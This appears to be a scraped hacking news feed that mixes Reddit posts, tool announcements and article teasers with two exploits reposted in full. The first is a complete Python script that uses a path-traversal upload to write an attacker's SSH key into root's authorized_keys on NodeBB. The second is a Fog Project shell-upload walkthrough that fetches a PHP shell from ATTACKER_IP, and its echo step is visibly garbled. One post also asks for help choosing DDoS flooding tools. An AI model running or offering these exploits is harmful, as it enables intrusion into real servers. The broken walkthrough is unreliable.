hacking: security in practice
LOIC vs HOIC (and the capabilities of both)

I am learning about DDoS attacks and I know how to do it from Command Prompt and on Kali, but that does little. I have recently discovered these two tools, Low Orbit Ion Cannon and High Orbit Ion Cannon. Both are DDoS tools. I'm aware that both work, but I'm curios on which one is better, and I want to know if either is able to seriously slow down a server/IP, or if they can do little. Just practicing on my friend's router. He gave me permission.

submitted by /u/Plenty_Celebration_4
[link] [comments]

hacking: security in practice
My first ever cyber-security internship gave me this

Option 1 – Objective is to setup logging on elastic.

a. Sign-up a free elastic account on cloud.elastic.co

b. Integrate your machine with elastic using beats client

c. Aggregate your machine’s logs on elastic

d. Create a dashboard

e. Install suricata IDS client on your machine, integrate logs with elastic

f. Install TPOP honeypot and integrate the logs with elastic

You may improvise the task using additional conditions, dashboard or machine learning jobs.

Option 2:

a. Sign-up a free elastic account on cloud.elastic.co

b. Integrate your machine with elastic using beats client

c. Sign-up a free aws or google cloud account

d. Integrate cloudtrail or google cloud logs with cloud.elastic account

e. Try to export security hub logs of aws to s3 and send to cloud.elastic

f. Try creating a dashboard of security hub aws logs on cloud.elastic

You may improvise the task using additional conditions, dashboard or machine learning jobs.

Option 3:

a. Sign-up a free elastic account on cloud.elastic.co

b. Integrate your machine with elastic using beats client

c. Write a small program in python to check status of antivirus installed on a machine d. Report following to the central dashboard (create new):

a. Status of the machine, up or down

b. Status of anti-virus installed

c. Whether the antivirus is updated

d. Show the packages on the machine not updated

e. IP address, Hostname of the machine

f. Create a dashboard of summary

​

​

​

Does any of u wiz understand what it means. Cause I cant google the hell out of it. Help a fellow brother.....

submitted by /u/Crafty-Blacksmith-99
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Overlord : Red Teaming Infrastructure Automation

Overlord provides a python-based console CLI which is used to build Red Teaming infrastructure in an automated way. The user has to provide inputs by using the tool’s modules (e.g. C2, Email Server, HTTP web delivery server, Phishing server etc.) and the full infra / modules and scripts will be generated automatically on a cloud […]

The post Overlord : Red Teaming Infrastructure Automation appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 6 Usual Ways In Which Data Breaches Occur

https://cdn-images-1.medium.com/max/813/1*5sV8TDCl5OfBSutWd-fKAw.png
If your organization would be to successfully handle cybersecurity risks, you want to understand what things to keep an eye out for.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tryhackme | OverlayFS — CVE-2021–3493

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Creating a persistent backdoor and bypassing anti-virus programs with the Chaos

https://cdn-images-1.medium.com/max/2560/1*6hUWliJARk5sK7ONgljM1w.jpeg
Chaos is designed to provide malicious actors with ongoing access to computers that they can use for criminal purposes.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Silent Shell

https://cdn-images-1.medium.com/max/1366/1*fwVy9SKN5sxgZ0CulIp2bQ.jpeg
We live in a world where everything is connected through the internet. Something that is considered as a blessing and a curse at the same…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
M365_Groups_Enum - Enumerate Microsoft 365 Groups In A Tenant With Their Metadata

https://1.bp.blogspot.com/-WmXSN3q-pEY/YIeuipmmyiI/AAAAAAAAWAc/UJa3T2tPGAczlbErknwhg5fhWcx006sLQCNcBGAsYHQ/s320/m365_groups_enum_1_m365-groups-logo.png
The all_groups.pyscript allows to enumerate all Microsoft 365 Groups in a Azure AD tenant with their metadata:

* name
* visibility: public or private
* description
* email address
* owners
* members
* Teams enabled?
* SharePoint URL (e.g. for Teams shared files)

All of this, even for private Groups! Read more about this on my blog article "Risks of Microsoft Teams and Microsoft 365 Groups"

The reporting.pyscript will take the JSON output from all_groups.pyand generates a CSV files allowing to quickly identify sensitive private or public groups.
Installation

Requirement:

1. Download the repository
2. Install requirements with

pip install -r requirements.txt

Usage

You will need a valid account on the tenant. Different authentication methods are supported:

* via login + password (MFA not supported)

python all_groups.py -u myuser@example.onmicrosoft.com -p MyPassw0rd

* via device authentication, which supports MFA via the browser. Launch then follow instructions

python all_groups.py --device-code

Other methods are also offered. You can read the ROADTools documentation or run the script without any argument to get help.

python all_groups.py

That's all, you don't need more options! The script output will be in all_groups.jsonin the current directory.

Then, if you want a nicer and more concise output from this JSON, use reporting.pyto transform it:

python reporting.py

It automatically takes all_groups.jsonin the current directory, and outputs to all_groups.csvin the same directory.

Acknowledgements

This project uses for authentication the very helpful roadlib from ROADTools by @dirkjanm
Download M365_Groups_Enum

Hacking Articles
Windows Privilege Escalation: SeBackupPrivilege

In this article, we will shed light on some of the methods of Escalating Privilege on Windows-based Devices when it is vulnerable with the SeBackupPrivilege after getting the initial foothold on the device. Table of Content Introduction Setting Up Privilege on Windows 10 Testing Privilege on Windows 10 Exploiting Privilege

The post Windows Privilege Escalation: SeBackupPrivilege appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NodeBB Emoji 3.2.1 Arbitrary FIle Write

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
NodeBB Emoji plugin version 3.2.1 suffers from an arbitrary file write vulnerability.

MD5 | 49005c6dc65d4c7b995ca019f2d8b491

Download
# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <=
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
#
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, {}/login unavailable'.format(TARGET))
sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
print('[!] Could not extract csrf token to proceed.')
sys.exit(1)
auth = {
'username': USERNAME,
'password': PASSWORD,
'_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
print('[!] Error, login failed')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, could not access emoji plugin')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
'emojiImage': open(SOURCE_FILE)
}
data = {
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
print('[!] Error, could not upload file')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Successfully uploaded file')


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fog Project 1.5.9 Shell Upload

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Fog Project version 1.5.9 suffers from a remote shell upload vulnerability.

MD5 | 4137325100e71652f6c4dc385797fd66

Download
# Exploit Title: Fog Project - File Upload RCE (Authenticated)

# Date: 2021-04-28
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://fogproject.org
# Software Link: https://github.com/FOGProject/fogproject/archive/1.5.9.zip
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64
aHR0cDovLzE5Mi4xNjguMS4xMDIvbXlzaGVsbAo=

5) Visit
http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video